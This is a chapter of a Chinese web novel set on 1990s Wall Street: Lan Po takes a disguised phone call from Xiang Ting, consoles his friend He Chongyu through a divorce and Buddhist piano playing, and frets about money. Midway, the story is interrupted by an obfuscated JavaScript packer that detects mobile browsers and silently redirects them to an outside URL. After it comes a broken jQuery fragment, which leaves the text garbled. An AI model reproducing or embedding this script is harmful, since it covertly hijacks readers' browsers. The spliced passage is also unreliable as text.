88.我佛莲华随步踏

作品:《九零之华尔街泡钓系大美人

    晚上十点,蓝珀回到酒店。


    房间的门口捎着一束玫瑰花。


    蓝珀推开房门,里面的场景实在戏剧而悚然。何崇玉一个人在没有灯的地方闭着眼睛弹琴,头颅高高抬起,头发飘逸飞扬,就像马鬃一样激情有力。


    蓝珀以为走错了,房门开了又合,玫瑰花被门夹得一朵不剩。


    何崇玉解释道:“就这间房还有钢琴,我练一小会儿就走,绝不会影响你休息。”


    蓝珀善解人意地说:“那你就睡这儿,我去隔壁。”


    何崇玉从钢琴凳上起身,急忙去拉住了蓝珀,很好地说起了车轱辘话,半天才到实话的部分:“……我儿子在跟他母亲打电话。”


    “只见过妻管严,还没见过儿管严呢。”


    蓝珀阔步走向客厅,端起桌上那碗嘱咐客房人员提前准备的桂花雪梨汤,淋了枫糖浆,慢慢地喝着。


    何崇玉也没什么艺术的心情了,现在是一个非常负荷的心理。家庭矛盾,这就叫结构性矛盾,不是他个人的意志和努力能转移的。他颓唐地坐在沙发上,问道:“晚上如何?还顺利吗?”


    蓝珀嘴角一翘,竟然笑了:“你提醒我了,真得计划一下,那帮学生可不是善男信女。”


    还不知道蓝珀代课的事,何崇玉困惑:“什么学生?”


    “我们还是聊点别的大天吧。”


    蓝珀半背靠的坐姿,像是自己在跟自己说话,只有真的必要的时候才对何崇玉转过头。何崇玉因此判断好友心情不好,历史告诉他,这时直谏,这种事情不可取。蓝珀绝对会说,煞风景的又出现了,你好像不发表点扫兴的晦气话就显不出你似的。于是默默不提今天遇到项廷的事,目送着蓝珀去洗澡。


    蓝珀也是说东忘西,玫瑰花谁送的?问都不问。


    他泡泡蒸蒸出来,何崇玉还一副思维迟缓的样子,感觉是一个人坐着胡思乱想了一个多小时。


    蓝珀正要下逐客令,手机响了。


    ——布鲁斯先生。


    “Hi。”


    电话那头的男人嗓音,稳练、凝重、笃厚,但是丝丝电音。


    蓝珀觉得古怪:“Hello?”


    项廷紧急打开好几个降噪插件,这下马上变成了富有磁性的、充满颗粒感的,最懒散最松弛的时候发出来的魅力男声。


    迟迟没讲话,蓝珀以为他拨错了的时候,项廷终于说:“今日未得一晤,殊觉遗憾。原本意欲就几支股票,讨教一番。”


    听他口气,蓝珀眉头渐渐皱成川字。他对这种咬文嚼字的人向来没有什么好印象,说话文绉绉难道就能表现一个人的涵养之高,实在是造作,装。像那种英国老贵族,讲话上面一排牙齿从来没看见过。


    蓝珀把烟扔到垃圾桶里,淡淡笑道:“既然都是中国人,还是中文聊更方便。中文大家都明白,说着也顺。”


    中文他怕自己一不留神冒出北京话,项廷忙说:“我是ABC。”


    更装了。


    “喔……”蓝珀状似谅解,继续说英语,“股票名称或代码请说一下?”


    “SXI、XKQ、XND……”


    前两个,蓝珀还算有点有面地认真分析了。但聊着聊着,发现对面太多语法、单词不是他们这一代人会用的。这位布鲁斯先生上了年纪了?思想保守,钱不好套哦。


    蓝珀兴趣有些索然,激情过后下头了。最后一只股,他其实不知道哪家公司,就说:“涨得快的品种不妨及时锁定利润,这样跑出来的净值既有累积效应,回撤也控制住了。”


    觉察到了他的不耐烦,项廷说话仓促起来:“你句句话都是本行,我有点听不懂。”


    这话蓝珀爱听,对头,骗的就是你冤大头。


    “忽略了你的感受,真的是我不对。”蓝珀恢复了温柔真切,现学现卖,“??对唔住啦!”


    蓝珀轻飘地说句对不起,项廷的满世界恍然扫尽尘嚣,寂若空城。明明是自己令他遭殃,害他受苦,从相遇的兆始就给他带去了积重难返的绝望,此一生此一世,天罚地诛合该自己来受,又怎么轮得到他说一句对不起呢?


    那种歉疚、悔恨、痛苦迅速流遍全身,浑身被烧伤的感觉……烧伤的感觉在全身维持了很久很久,至今无法退去。记起来仰阿莎的那天,那次项廷才感到这样的情感一次会烧死身上多少细胞。


    “你……”项廷声音好像平静,然而只有他自己知道究竟用了多大的力气在压着一颗燃烧的心,“你听着,我不要你说对不起。”


    蓝珀听得下意识把手机拿远,人都后仰了一下。什么意思?今天答应了邱奇当老师,没想到有更好为人师的,甚至想教他思想品德。颇有命令的味道,反正动机不纯。要不是验过资了,真金白银,真担心这是个骗子。又哪里看得穿项廷看似高傲实则乞讨的姿态。于是乎,布鲁斯先生一个昏昏欲睡老不知羞颐指气使的形象树立起来了。


    蓝珀忍着尴尬,尴尬到每次听对面的说话都不自觉捏把汗:“还有别的事吗?”


    “等一下!且慢,稍事停留!”项廷自责得无法自拔,不知不觉间歇性做回自己,“你到家了吗?吃了吗?那个花……”


    蓝珀已经很不舒服了,两只手在膝盖上一撑,站起身来:“我要睡了。”


    “啊这么早就寝吗?”


    “嗯嗯,没事早点睡,有空多赚钱。”


    怕对方再滋生新的戏,行了就这么地吧,赶紧挂了。扔了烫手的手机,蓝珀做了个捂心的动作,吸进一丝受惊的空气,摸摸,一胳膊的鸡皮疙瘩。一通电话,让他认清有些钱或许就该别人赚。


    去客厅关个灯,何崇玉还赖着没走。而且他也在打电话,再想送客也只能干瞪眼。


    何崇玉从肢体到表情,就像在三九天被人泼了一大盆冰水:“你要跟我离婚,还要登报声明?”


    他老婆说:“是的,来自两个世界的人最终也会去往两个世界。”


    何崇玉坠到沙发上,砸下一个重低音。


    “你这是做了什么歹事?”蓝珀一向只要看见好友不幸,就会略微有点高兴的程度。尤其是对何崇玉这种软蛋,残忍的性格就越来越变本加厉。


    何崇玉不答。蓝珀无趣回去睡觉,刚进被窝,又觉得未能尽善,回客厅瞧瞧他。


    谁想到深更半夜,何崇玉突然搞起了创作。死气沉沉地坐在钢琴前,从《南柯梦》到《一念空》,《香花灯涂果》不了,《释迦牟尼颂》又起。


    蓝珀告饶:“南无观世音菩萨,快来救此众生一难。”


    一会是流水一样灵秀的浸润感,一会电闪雷鸣来了。何崇玉一边手速爆炸,一边缓缓说道:“众生,众生,众多的生死,众多的烦恼无明生起。四谛法之知苦、断集、慕灭、修道方是唯一能解脱出离的方法妙药。”


    此乃他们上山禅七的大课内容,何崇玉配合音乐演绎出来罢了。蓝珀故而笑他:“好个凄凉的你啊。拾人牙慧,还参什么野狐禅呢。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400862|168652||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    何崇玉竟于风中笑了。


    纵是蓝珀也微微一惊,走过去将香薰的竹条挑出来,立在琴键旁边,宽慰道:“我们供养这柱沉香,祈请三宝加持你培养宽大的容忍之心,圆满忍辱波罗蜜。我这就给你买机票好吧,你今晚回香港把人追回来!”


    “追哪位?”


    “你老婆呀。”


    何崇玉又笑了:“你也追寻我也追寻,心也追寻意也追寻。到了不追时,便已到达心的归处。直到不能追到的时候,才算真到了。”


    嘴里说着这般魔怔的话,手下弹的却是传世级的钢琴曲。何崇玉虽是生活上的傻瓜,但在他的音乐地带他是无敌的。


    空山云径,碧涧泉清,全无尘色。蓝珀觉得在某一秒钟他和音乐的呼吸同步了,眼睛湿润了,没哭,但是真的有那么一刻他有了泪。


    余韵荡了许久,蓝珀才挣脱何崇玉的念力场,从那个情境中出来:“你是怎么弹出来的? ”


    何崇玉说: “向上天祈请,自然会有天乐下赐。 ”


    蓝珀坠到沙发上何崇玉刚才坠的位置,坑位完全吻合。何崇玉尚有表情变化,蓝珀就是换姿势发呆。


    “罢了,世界上结了婚又离的人这么多,多你一个不多,少你一个不少。”蓝珀最后说,“你好歹算是有始有终,我这才叫无疾而终。”


    再次回了卧室,把身体静静地放倒在床上。有些怕何崇玉走火入魔,真的求个干净,但是蓝珀一躺下就懒得起来,达摩面壁的姿势强迫自己闭上眼,禅枯良久,怎么也睡不着。


    该说不说,何崇玉这么一彻悟,蓝珀一时间竟有我离佛千万里,我离佛特别近之感。以前好多不懂的机锋,音乐一响不懂也泪流满面。


    蓝珀越发想从这个浊世净身而出,梵音如海潮,似诸天花雨,这愿望便空前地强烈。


    但说归说,他心里仍希望出家是个浪漫快乐之旅。


    换而言之,就是务必要富裕。


    蓝珀盘了一本账,除去开山、种树,每年固定买一吨白银的钱,以他八十岁自然死亡计算,哪怕不管通货膨胀,还差不少。


    打开电视机,数家百年银行倒闭,十大私募宣布破产清算,著名内幕人士被货币监理局带走,多少支龙头股一字跌停,多少人的美国梦一夜归零,贸易摩擦产生的连锁反应已经开始在资本市场显现,全球失业大潮滔滔来袭。


    上哪去搞钱啊。


    蓝珀忍着不适,主动找白谟玺,他记得有好几笔收益分红他还没给。


    白谟玺作为数年来最想低成本买断蓝珀的男人,眼下也在面对经济压力,没有余粮,哭穷:“你这竹杠敲得也太凶了吧?”


    讨债失败,于钱场和情场两处伤心,蓝珀更加郁闷得受不了。白谟玺虽然没钱,但是有梗,一嘲笑起费曼来没完,说费曼口水边走边流,跟个蜗牛一样,走过的地方必有一条晶莹剔透的线。蓝珀面上说他好没品,文理不通,但是似乎又在他的描述中得到一点快乐,因为有一种解构英王室的快感。


    笑着笑着,蓝珀心境开阔了,心态放开了。愈觉那钢琴音金声玉振,有如天启。


    蓝珀找到了愿心,是他有愿嘛,是他要求佛对吧,那就得克服阻力付出行动啊。


    他在心中与佛祖对望,佛说要为了退休不择手段。


    于是凌晨一点半钟,都市男女Sexting的专属时间段——


    项廷的手机屏光危险地跃动,暗夜中的那抹红像一个倚在地狱门前的妖姬。